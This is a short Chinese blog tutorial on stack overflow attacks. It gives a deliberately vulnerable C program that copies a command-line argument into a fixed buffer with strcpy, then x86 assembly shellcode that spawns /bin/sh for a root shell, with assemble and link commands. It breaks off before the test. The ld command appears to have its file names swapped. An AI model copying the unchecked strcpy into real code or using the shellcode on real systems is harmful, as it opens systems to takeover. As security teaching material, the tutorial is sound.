赞
踩
以前对栈溢出攻击只是一种感官上的,最近学了shellcode,才真切地感觉到了栈溢出攻击有多么危险。
为了测试简单,写一个比较简单的程序,我们称之为bug.c
- #include <stdio.h>
- #include <string.h>
-
- int main(int argc, char **argv) {
- char buff[500];
- strcpy(buff,argv[1]);
- return 0;
- }
好了,我们准备好进入root shell的汇编代码:
- Section .text
- global _start
-
- _start:
- xor eax,eax
- push eax
- push 0x68732f ; /sh 小端机存储
- push 0x6e69622f ; /bin 小端存储
- mov ebx,esp
- push eax
- push ebx
- mov ecx,esp
- xor edx,edx
- mov al,0xb ; execve函数
- int 0x80
nasm -f elf execve.asm
用ld链接:
ld execve -o execve.o
我们测试一下结果:
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。